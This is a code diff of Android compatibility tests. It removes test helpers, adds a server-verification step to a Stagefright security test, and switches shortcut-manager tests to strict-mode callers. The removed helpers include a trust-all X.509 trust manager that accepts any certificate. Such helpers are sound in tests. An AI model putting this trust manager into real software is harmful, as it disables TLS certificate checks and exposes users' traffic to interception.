- private static void putUnsignedShortBigEndian(byte[] buf, int offset, int value) {
- buf[offset] = (byte) ((value >>> 8) & 0xff);
- buf[offset + 1] = (byte) (value & 0xff);
- }
-
- // IMPLEMENTATION NOTE: We can't implement just one closeQueietly(Closeable) because on some
- // older Android platforms Socket did not implement these interfaces. To make this patch easy to
- // apply to these older platforms, we declare all the variants of closeQuietly that are needed
- // without relying on the Closeable interface.
-
- private static void closeQuietly(InputStream in) {
- if (in != null) {
- try {
- in.close();
- } catch (IOException ignored) {}
- }
- }
-
- public static void closeQuietly(ServerSocket socket) {
- if (socket != null) {
- try {
- socket.close();
- } catch (IOException ignored) {}
- }
- }
-
- public static void closeQuietly(Socket socket) {
- if (socket != null) {
- try {
- socket.close();
- } catch (IOException ignored) {}
- }
- }
-
- public static byte[] readResource(Context context, int resId) throws IOException {
- ByteArrayOutputStream result = new ByteArrayOutputStream();
- InputStream in = null;
- byte[] buf = new byte[16 * 1024];
- try {
- in = context.getResources().openRawResource(resId);
- int chunkSize;
- while ((chunkSize = in.read(buf)) != -1) {
- result.write(buf, 0, chunkSize);
- }
- return result.toByteArray();
- } finally {
- closeQuietly(in);
- }
- }
-
- /**
- * {@link X509TrustManager} which trusts all certificate chains.
- */
- public static class TrustAllX509TrustManager implements X509TrustManager {
- @Override
- public void checkClientTrusted(X509Certificate[] chain, String authType)
- throws CertificateException {
- }
-
- @Override
- public void checkServerTrusted(X509Certificate[] chain, String authType)
- throws CertificateException {
- }
-
- @Override
- public X509Certificate[] getAcceptedIssuers() {
- return new X509Certificate[0];
- }
- }
-
- /**
- * {@link X509KeyManager} which uses the provided private key and cert chain for all sockets.
- */
- public static class HardcodedCertX509KeyManager implements X509KeyManager {
-
- private final PrivateKey mPrivateKey;
- private final X509Certificate[] mCertChain;
-
- HardcodedCertX509KeyManager(PrivateKey privateKey, X509Certificate[] certChain) {
- mPrivateKey = privateKey;
- mCertChain = certChain;
- }
-
- @Override
- public String chooseClientAlias(String[] keyType, Principal[] issuers, Socket socket) {
- return null;
- }
-
- @Override
- public String chooseServerAlias(String keyType, Principal[] issuers, Socket socket) {
- return "singleton";
- }
-
- @Override
- public X509Certificate[] getCertificateChain(String alias) {
- return mCertChain;
- }
-
- @Override
- public String[] getClientAliases(String keyType, Principal[] issuers) {
- return null;
- }
-
- @Override
- public PrivateKey getPrivateKey(String alias) {
- return mPrivateKey;
- }
-
- @Override
- public String[] getServerAliases(String keyType, Principal[] issuers) {
- return new String[] {"singleton"};
- }
- }
-}
diff --git a/tests/tests/security/src/android/security/cts/StagefrightTest.java b/tests/tests/security/src/android/security/cts/StagefrightTest.java
index 39286a1..62ca28d 100644
--- a/tests/tests/security/src/android/security/cts/StagefrightTest.java
+++ b/tests/tests/security/src/android/security/cts/StagefrightTest.java
@@ -45,8 +45,11 @@
import android.view.Surface;
import android.webkit.cts.CtsTestServer;
+import java.io.BufferedInputStream;
import java.io.FileInputStream;
import java.io.IOException;
+import java.io.InputStream;
+import java.net.URL;
import java.nio.ByteBuffer;
import java.util.ArrayList;
import java.util.HashMap;
@@ -447,12 +450,38 @@
CtsTestServer server = new CtsTestServer(context);
String rname = resources.getResourceEntryName(rid);
String url = server.getAssetUrl("raw/" + rname);
+ verifyServer(rid, url);
doStagefrightTestMediaPlayer(url);
doStagefrightTestMediaCodec(url);
doStagefrightTestMediaMetadataRetriever(url);
server.shutdown();
}
+ // verify that CtsTestServer is functional by retrieving the asset
+ // and comparing it to the resource
+ private void verifyServer(final int rid, final String uri) throws Exception {
+ Log.i(TAG, "checking server");
+ URL url = new URL(uri);
+ InputStream in1 = new BufferedInputStream(url.openStream());
+
+ AssetFileDescriptor fd = getInstrumentation().getContext().getResources()
+ .openRawResourceFd(rid);
+ InputStream in2 = new BufferedInputStream(fd.createInputStream());
+
+ while (true) {
+ int b1 = in1.read();
+ int b2 = in2.read();
+ assertEquals("CtsTestServer fail", b1, b2);
+ if (b1 < 0) {
+ break;
+ }
+ }
+
+ in1.close();
+ in2.close();
+ Log.i(TAG, "checked server");
+ }
+
private void doStagefrightTestANR(final int rid) throws Exception {
doStagefrightTestMediaPlayerANR(rid, null);
}
diff --git a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerClientApiTest.java b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerClientApiTest.java
index bab2674..56969bb 100644
--- a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerClientApiTest.java
+++ b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerClientApiTest.java
@@ -234,14 +234,14 @@
}
public void testSetDynamicShortcuts() {
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
assertTrue(getManager().setDynamicShortcuts(list(
makeShortcut("s1", "title1"),
makeShortcut("s2", "title2"),
makeShortcut("s3", "title3"))));
});
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
assertWith(getManager().getDynamicShortcuts())
.areAllEnabled()
.areAllDynamic()
@@ -262,12 +262,12 @@
});
// Publish from different package.
- runWithCaller(mPackageContext2, () -> {
+ runWithCallerWithStrictMode(mPackageContext2, () -> {
assertTrue(getManager().setDynamicShortcuts(list(
makeShortcut("s1x", "title1x"))));
});
- runWithCaller(mPackageContext2, () -> {
+ runWithCallerWithStrictMode(mPackageContext2, () -> {
assertWith(getManager().getDynamicShortcuts())
.areAllEnabled()
.areAllDynamic()
@@ -282,7 +282,7 @@
});
// Package 1 still has the same shortcuts.
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
assertWith(getManager().getDynamicShortcuts())
.areAllEnabled()
.areAllDynamic()
@@ -302,12 +302,12 @@
.isEmpty();
});
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
assertTrue(getManager().setDynamicShortcuts(list(
makeShortcut("s2", "title2-updated"))));
});
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
assertWith(getManager().getDynamicShortcuts())
.areAllEnabled()
.areAllDynamic()
@@ -321,11 +321,11 @@
.isEmpty();
});
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
assertTrue(getManager().setDynamicShortcuts(list()));
});
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
assertWith(getManager().getDynamicShortcuts())
.isEmpty();
assertWith(getManager().getPinnedShortcuts())
@@ -335,7 +335,7 @@
});
// Package2 still has the same shortcuts.
- runWithCaller(mPackageContext2, () -> {
+ runWithCallerWithStrictMode(mPackageContext2, () -> {
assertWith(getManager().getDynamicShortcuts())
.areAllEnabled()
.areAllDynamic()
@@ -361,7 +361,7 @@
getTestContext().getResources(), R.drawable.black_16x64));
final Icon icon6 = Icon.createWithAdaptiveBitmap(BitmapFactory.decodeResource(
getTestContext().getResources(), R.drawable.black_32x32));
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
final ShortcutInfo source = makeShortcutBuilder("s1")
.setShortLabel("shortlabel")
.setLongLabel("longlabel")
@@ -392,7 +392,7 @@
icon1);
});
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
// No fields updated.
final ShortcutInfo updated = makeShortcutBuilder("s1")
.setShortLabel("xxx")
@@ -418,7 +418,7 @@
getIconAsLauncher(mLauncherContext1, mPackageContext1.getPackageName(), "s1"));
});
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
final ShortcutInfo source = makeShortcutBuilder("s1")
.setShortLabel("shortlabel")
.setLongLabel("longlabel")
@@ -450,7 +450,7 @@
});
// paranoid icon check
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
// No fields updated.
final ShortcutInfo updated = makeShortcutBuilder("s1")
.setShortLabel("xxx")
@@ -469,7 +469,7 @@
icon2);
});
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
// No fields updated.
final ShortcutInfo updated = makeShortcutBuilder("s1")
.setShortLabel("xxx")
@@ -489,7 +489,7 @@
});
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
// No fields updated.
final ShortcutInfo updated = makeShortcutBuilder("s1")
.setShortLabel("xxx")
@@ -507,7 +507,7 @@
assertIconDimensions(mLauncherContext1, mPackageContext1.getPackageName(), "s1",
icon4);
});
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
// No fields updated.
final ShortcutInfo updated = makeShortcutBuilder("s1")
.setShortLabel("xxx")
@@ -525,7 +525,7 @@
assertIconDimensions(mLauncherContext1, mPackageContext1.getPackageName(), "s1",
icon5);
});
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
// No fields updated.
final ShortcutInfo updated = makeShortcutBuilder("s1")
.setShortLabel("xxx")
@@ -547,18 +547,18 @@
public void testSetDynamicShortcuts_wasPinned() throws Exception {
// Create s1 as a floating pinned shortcut.
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
assertTrue(getManager().setDynamicShortcuts(list(
makeShortcut("s1"))));
});
setDefaultLauncher(getInstrumentation(), mLauncherContext1);
- runWithCaller(mLauncherContext1, () -> {
+ runWithCallerWithStrictMode(mLauncherContext1, () -> {
getLauncherApps().pinShortcuts(mPackageContext1.getPackageName(),
list("s1"), getUserHandle());
});
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
getManager().removeDynamicShortcuts(list("s1"));
assertWith(getManager().getDynamicShortcuts())
@@ -572,14 +572,14 @@
}
public void testAddDynamicShortcuts() {
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
assertTrue(getManager().addDynamicShortcuts(list(
makeShortcut("s1", "title1"),
makeShortcut("s2", "title2"),
makeShortcut("s3", "title3"))));
});
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
assertWith(getManager().getDynamicShortcuts())
.areAllEnabled()
.areAllDynamic()
@@ -600,12 +600,12 @@
});
// Publish from different package.
- runWithCaller(mPackageContext2, () -> {
+ runWithCallerWithStrictMode(mPackageContext2, () -> {
assertTrue(getManager().addDynamicShortcuts(list(
makeShortcut("s1x", "title1x"))));
});
- runWithCaller(mPackageContext2, () -> {
+ runWithCallerWithStrictMode(mPackageContext2, () -> {
assertWith(getManager().getDynamicShortcuts())
.areAllEnabled()
.areAllDynamic()
@@ -620,7 +620,7 @@
});
// Package 1 still has the same shortcuts.
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
assertWith(getManager().getDynamicShortcuts())
.areAllEnabled()
.areAllDynamic()
@@ -640,12 +640,12 @@
.isEmpty();
});
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
assertTrue(getManager().addDynamicShortcuts(list(
makeShortcut("s2", "title2-updated"))));
});
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
assertWith(getManager().getDynamicShortcuts())
.areAllEnabled()
.areAllDynamic()
@@ -665,11 +665,11 @@
.isEmpty();
});
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
assertTrue(getManager().addDynamicShortcuts(list()));
});
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
assertWith(getManager().getDynamicShortcuts())
.areAllEnabled()
.areAllDynamic()
@@ -690,7 +690,7 @@
});
// Package2 still has the same shortcuts.
- runWithCaller(mPackageContext2, () -> {
+ runWithCallerWithStrictMode(mPackageContext2, () -> {
assertWith(getManager().getDynamicShortcuts())
.areAllEnabled()
.areAllDynamic()
@@ -713,7 +713,7 @@
final Icon icon3 = loadPackageDrawableIcon(mPackageContext1, "black_64x16");
final Icon icon4 = loadPackageDrawableIcon(mPackageContext1, "black_64x64");
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
final ShortcutInfo source = makeShortcutBuilder("s1")
.setShortLabel("shortlabel")
.setLongLabel("longlabel")
@@ -744,7 +744,7 @@
icon1);
});
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
// No fields updated.
final ShortcutInfo updated = makeShortcutBuilder("s1")
.setShortLabel("xxx")
@@ -770,7 +770,7 @@
getIconAsLauncher(mLauncherContext1, mPackageContext1.getPackageName(), "s1"));
});
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
final ShortcutInfo source = makeShortcutBuilder("s1")
.setShortLabel("shortlabel")
.setLongLabel("longlabel")
@@ -802,7 +802,7 @@
});
// paranoid icon check
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
// No fields updated.
final ShortcutInfo updated = makeShortcutBuilder("s1")
.setShortLabel("xxx")
@@ -821,7 +821,7 @@
icon2);
});
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
// No fields updated.
final ShortcutInfo updated = makeShortcutBuilder("s1")
.setShortLabel("xxx")
@@ -841,7 +841,7 @@
});
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
// No fields updated.
final ShortcutInfo updated = makeShortcutBuilder("s1")
.setShortLabel("xxx")
@@ -863,18 +863,18 @@
public void testAddDynamicShortcuts_wasPinned() throws Exception {
// Create s1 as a floating pinned shortcut.
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
assertTrue(getManager().setDynamicShortcuts(list(
makeShortcut("s1"))));
});
setDefaultLauncher(getInstrumentation(), mLauncherContext1);
- runWithCaller(mLauncherContext1, () -> {
+ runWithCallerWithStrictMode(mLauncherContext1, () -> {
getLauncherApps().pinShortcuts(mPackageContext1.getPackageName(),
list("s1"), getUserHandle());
});
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
getManager().removeDynamicShortcuts(list("s1"));
assertWith(getManager().getDynamicShortcuts())
@@ -888,13 +888,13 @@
}
public void testUpdateShortcut() {
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
assertTrue(getManager().setDynamicShortcuts(list(
makeShortcut("s1", "1a"),
makeShortcut("s2", "2a"),
makeShortcut("s3", "3a"))));
});
- runWithCaller(mPackageContext2, () -> {
+ runWithCallerWithStrictMode(mPackageContext2, () -> {
assertTrue(getManager().setDynamicShortcuts(list(
makeShortcut("s1", "1b"),
makeShortcut("s2", "2b"),
@@ -903,21 +903,21 @@
setDefaultLauncher(getInstrumentation(), mLauncherContext1);
- runWithCaller(mLauncherContext1, () -> {
+ runWithCallerWithStrictMode(mLauncherContext1, () -> {
getLauncherApps().pinShortcuts(mPackageContext1.getPackageName(),
list("s2", "s3"), getUserHandle());
getLauncherApps().pinShortcuts(mPackageContext2.getPackageName(),
list("s1", "s2"), getUserHandle());
});
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
getManager().removeDynamicShortcuts(list("s3"));
});
- runWithCaller(mPackageContext2, () -> {
+ runWithCallerWithStrictMode(mPackageContext2, () -> {
getManager().removeDynamicShortcuts(list("s1"));
});
// Check the current status.
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
assertWith(getManager().getDynamicShortcuts())
.areAllEnabled()
.areAllDynamic()
@@ -943,7 +943,7 @@
assertWith(getManager().getManifestShortcuts())
.isEmpty();
});
- runWithCaller(mPackageContext2, () -> {
+ runWithCallerWithStrictMode(mPackageContext2, () -> {
assertWith(getManager().getDynamicShortcuts())
.areAllEnabled()
.areAllDynamic()
@@ -971,21 +971,21 @@
});
// finally, call update.
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
assertTrue(getManager().updateShortcuts(list(
makeShortcut("s1", "upd1a"),
makeShortcut("s2", "upd2a"),
makeShortcut("xxx") // doen't exist -> ignored.
)));
});
- runWithCaller(mPackageContext2, () -> {
+ runWithCallerWithStrictMode(mPackageContext2, () -> {
assertTrue(getManager().updateShortcuts(list(
makeShortcut("s1", "upd1b"),
makeShortcut("s2", "upd2b"))));
});
// check.
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
assertWith(getManager().getDynamicShortcuts())
.areAllEnabled()
.areAllDynamic()
@@ -1011,7 +1011,7 @@
assertWith(getManager().getManifestShortcuts())
.isEmpty();
});
- runWithCaller(mPackageContext2, () -> {
+ runWithCallerWithStrictMode(mPackageContext2, () -> {
assertWith(getManager().getDynamicShortcuts())
.areAllEnabled()
.areAllDynamic()
@@ -1047,7 +1047,7 @@
final Icon icon3 = loadPackageDrawableIcon(mPackageContext1, "black_64x16");
final Icon icon4 = loadPackageDrawableIcon(mPackageContext1, "black_64x64");
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
final ShortcutInfo source = makeShortcutBuilder("s1")
.setShortLabel("shortlabel")
.setLongLabel("longlabel")
@@ -1078,7 +1078,7 @@
icon1);
});
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
// No fields updated.
final ShortcutInfo updated = makeShortcutBuilder("s1")
.build();
@@ -1102,7 +1102,7 @@
icon1);
});
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
final ShortcutInfo updated = makeShortcutBuilder("s1")
.setShortLabel("x")
.build();
@@ -1126,7 +1126,7 @@
icon1);
});
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
final ShortcutInfo updated = makeShortcutBuilder("s1")
.setLongLabel("y")
.build();
@@ -1150,7 +1150,7 @@
icon1);
});
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
final ShortcutInfo updated = makeShortcutBuilder("s1")
.setActivity(getActivity("Launcher2"))
.build();
@@ -1174,7 +1174,7 @@
icon1);
});
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
final ShortcutInfo updated = makeShortcutBuilder("s1")
.setDisabledMessage("z")
.build();
@@ -1198,7 +1198,7 @@
icon1);
});
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
final ShortcutInfo updated = makeShortcutBuilder("s1")
.setIntents(new Intent[]{new Intent("main")})
.build();
@@ -1222,7 +1222,7 @@
icon1);
});
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
final ShortcutInfo updated = makeShortcutBuilder("s1")
.setExtras(makePersistableBundle("ek1", "X"))
.build();
@@ -1246,7 +1246,7 @@
icon1);
});
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
final ShortcutInfo updated = makeShortcutBuilder("s1")
.setCategories(set("dog"))
.build();
@@ -1270,7 +1270,7 @@
icon1);
});
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
final ShortcutInfo updated = makeShortcutBuilder("s1")
.setIcon(icon2)
.build();
@@ -1295,7 +1295,7 @@
});
// More paranoid tests with icons.
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
final ShortcutInfo updated = makeShortcutBuilder("s1")
.setIcon(icon1)
.build();
@@ -1307,7 +1307,7 @@
});
// More paranoid tests with icons.
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
final ShortcutInfo updated = makeShortcutBuilder("s1")
.setIcon(icon3)
.build();
@@ -1318,7 +1318,7 @@
icon3);
});
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
final ShortcutInfo updated = makeShortcutBuilder("s1")
.setIcon(icon4)
.build();
@@ -1329,7 +1329,7 @@
icon4);
});
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
final ShortcutInfo updated = makeShortcutBuilder("s1")
.setIcon(icon1)
.build();
@@ -1352,13 +1352,13 @@
}
public void testDisableAndEnableShortcut() {
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
assertTrue(getManager().setDynamicShortcuts(list(
makeShortcut("s1", "1a"),
makeShortcut("s2", "2a"),
makeShortcut("s3", "3a"))));
});
- runWithCaller(mPackageContext2, () -> {
+ runWithCallerWithStrictMode(mPackageContext2, () -> {
assertTrue(getManager().setDynamicShortcuts(list(
makeShortcut("s1", "1b"),
makeShortcut("s2", "2b"),
@@ -1367,21 +1367,21 @@
setDefaultLauncher(getInstrumentation(), mLauncherContext1);
- runWithCaller(mLauncherContext1, () -> {
+ runWithCallerWithStrictMode(mLauncherContext1, () -> {
getLauncherApps().pinShortcuts(mPackageContext1.getPackageName(),
list("s2", "s3"), getUserHandle());
getLauncherApps().pinShortcuts(mPackageContext2.getPackageName(),
list("s1", "s2"), getUserHandle());
});
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
getManager().removeDynamicShortcuts(list("s3"));
});
- runWithCaller(mPackageContext2, () -> {
+ runWithCallerWithStrictMode(mPackageContext2, () -> {
getManager().removeDynamicShortcuts(list("s1"));
});
// Check the current status.
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
assertWith(getManager().getDynamicShortcuts())
.areAllEnabled()
.areAllDynamic()
@@ -1407,7 +1407,7 @@
assertWith(getManager().getManifestShortcuts())
.isEmpty();
});
- runWithCaller(mPackageContext2, () -> {
+ runWithCallerWithStrictMode(mPackageContext2, () -> {
assertWith(getManager().getDynamicShortcuts())
.areAllEnabled()
.areAllDynamic()
@@ -1435,15 +1435,15 @@
});
// finally, call disable.
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
getManager().disableShortcuts(list("s1", "s3"));
});
- runWithCaller(mPackageContext2, () -> {
+ runWithCallerWithStrictMode(mPackageContext2, () -> {
getManager().disableShortcuts(list("s1", "s2"), "custom message");
});
// check
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
assertWith(getManager().getDynamicShortcuts())
.areAllEnabled()
.areAllDynamic()
@@ -1469,7 +1469,7 @@
.isEmpty();
});
- runWithCaller(mPackageContext2, () -> {
+ runWithCallerWithStrictMode(mPackageContext2, () -> {
assertWith(getManager().getDynamicShortcuts())
.areAllEnabled()
.areAllDynamic()
@@ -1496,10 +1496,10 @@
});
// try re-enable
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
getManager().enableShortcuts(list("s3"));
});
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
assertWith(getManager().getDynamicShortcuts())
.areAllEnabled()
.areAllDynamic()
@@ -1524,11 +1524,11 @@
});
// Re-publish will implicitly re-enable.
- runWithCaller(mPackageContext2, () -> {
+ runWithCallerWithStrictMode(mPackageContext2, () -> {
getManager().addDynamicShortcuts(list(makeShortcut("s2", "re-published")));
});
- runWithCaller(mPackageContext2, () -> {
+ runWithCallerWithStrictMode(mPackageContext2, () -> {
assertWith(getManager().getDynamicShortcuts())
.areAllEnabled()
.areAllDynamic()
@@ -1550,7 +1550,7 @@
}
public void testImmutableShortcuts() {
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
enableManifestActivity("Launcher_manifest_2", true);
retryUntil(() -> getManager().getManifestShortcuts().size() == 2,
@@ -1558,11 +1558,11 @@
});
setDefaultLauncher(getInstrumentation(), mLauncherContext1);
- runWithCaller(mLauncherContext1, () -> {
+ runWithCallerWithStrictMode(mLauncherContext1, () -> {
getLauncherApps().pinShortcuts(mPackageContext1.getPackageName(),
list("ms21"), getUserHandle());
});
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
enableManifestActivity("Launcher_manifest_1", true);
enableManifestActivity("Launcher_manifest_2", false);
@@ -1570,7 +1570,7 @@
"Manifest shortcuts didn't show up");
});
setDefaultLauncher(getInstrumentation(), mLauncherContext1);
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
assertWith(getManager().getDynamicShortcuts())
.isEmpty();
assertWith(getManager().getPinnedShortcuts())
@@ -1610,7 +1610,7 @@
public void testManifestDefinition() throws Exception {
final Icon iconMs21 = loadPackageDrawableIcon(mPackageContext1, "black_16x16");
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
enableManifestActivity("Launcher_manifest_2", true);
retryUntil(() -> getManager().getManifestShortcuts().size() > 0,
@@ -1687,7 +1687,7 @@
}
public void testDynamicIntents() {
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
final ShortcutInfo s1 = makeShortcutBuilder("s1")
.setShortLabel("shortlabel")
@@ -1754,7 +1754,7 @@
}
public void testManifestWithErrors() {
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
enableManifestActivity("Launcher_manifest_error_1", true);
enableManifestActivity("Launcher_manifest_error_2", true);
enableManifestActivity("Launcher_manifest_error_3", true);
@@ -1772,7 +1772,7 @@
}
public void testManifestDisabled() {
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
enableManifestActivity("Launcher_manifest_4a", true);
retryUntil(() -> getManager().getManifestShortcuts().size() > 0,
@@ -1786,11 +1786,11 @@
});
setDefaultLauncher(getInstrumentation(), mLauncherContext1);
- runWithCaller(mLauncherContext1, () -> {
+ runWithCallerWithStrictMode(mLauncherContext1, () -> {
getLauncherApps().pinShortcuts(mPackageContext1.getPackageName(),
list("ms41", "ms42"), getUserHandle());
});
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
enableManifestActivity("Launcher_manifest_4b", true);
enableManifestActivity("Launcher_manifest_4a", false);
diff --git a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerConfigActivityTest.java b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerConfigActivityTest.java
index 0614d84..cc8df51 100644
--- a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerConfigActivityTest.java
+++ b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerConfigActivityTest.java
@@ -42,7 +42,7 @@
public void testGetShortcutConfigActivityList() throws Exception {
setDefaultLauncher(getInstrumentation(), mLauncherContext1);
- runWithCaller(mLauncherContext1, () -> {
+ runWithCallerWithStrictMode(mLauncherContext1, () -> {
assertNotNull(getConfigActivity());
assertNotNull(getLauncherApps().getShortcutConfigActivityIntent(getConfigActivity()));
});
@@ -50,7 +50,7 @@
// Get config activity works even for non-default activity.
setDefaultLauncher(getInstrumentation(), mLauncherContext4);
- runWithCaller(mLauncherContext1, () -> {
+ runWithCallerWithStrictMode(mLauncherContext1, () -> {
assertNotNull(getConfigActivity());
// throws exception when default launcher is different.
assertExpectException(SecurityException.class, null, () ->
@@ -61,7 +61,7 @@
public void testCorrectIntentSenderCreated() throws Throwable {
setDefaultLauncher(getInstrumentation(), mLauncherContext1);
final AtomicReference<IntentSender> sender = new AtomicReference<>();
- runWithCaller(mLauncherContext1, () ->
+ runWithCallerWithStrictMode(mLauncherContext1, () ->
sender.set(getLauncherApps().getShortcutConfigActivityIntent(getConfigActivity())));
Instrumentation.ActivityMonitor monitor =
@@ -87,7 +87,7 @@
public void testCreateShortcutResultIntent_defaultLauncher() throws Exception {
setDefaultLauncher(getInstrumentation(), mLauncherContext1);
PinItemRequest request = getShortcutRequestForPackage1();
- runWithCaller(mLauncherContext1, () -> {
+ runWithCallerWithStrictMode(mLauncherContext1, () -> {
assertTrue(request.isValid());
assertTrue(request.accept());
});
@@ -99,7 +99,7 @@
setDefaultLauncher(getInstrumentation(), mLauncherContext4);
// Launcher1 can still access the request
- runWithCaller(mLauncherContext1, () -> {
+ runWithCallerWithStrictMode(mLauncherContext1, () -> {
assertTrue(request.isValid());
assertTrue(request.accept());
});
@@ -110,7 +110,7 @@
PinItemRequest request = getShortcutRequestForPackage1();
// Launcher1 can still access the request
- runWithCaller(mLauncherContext1, () -> {
+ runWithCallerWithStrictMode(mLauncherContext1, () -> {
assertFalse(request.isValid());
assertExpectException(SecurityException.class, null, request::accept);
});
@@ -118,7 +118,7 @@
private PinItemRequest getShortcutRequestForPackage1() {
final AtomicReference<PinItemRequest> result = new AtomicReference<>();
- runWithCaller(mPackageContext1, () -> {
+ runWithCallerWithStrictMode(mPackageContext1, () -> {
final ShortcutInfo shortcut = makeShortcutBuilder(SHORTCUT_ID)
.setShortLabel("label1")
.setIntent(new Intent(Intent.ACTION_MAIN))
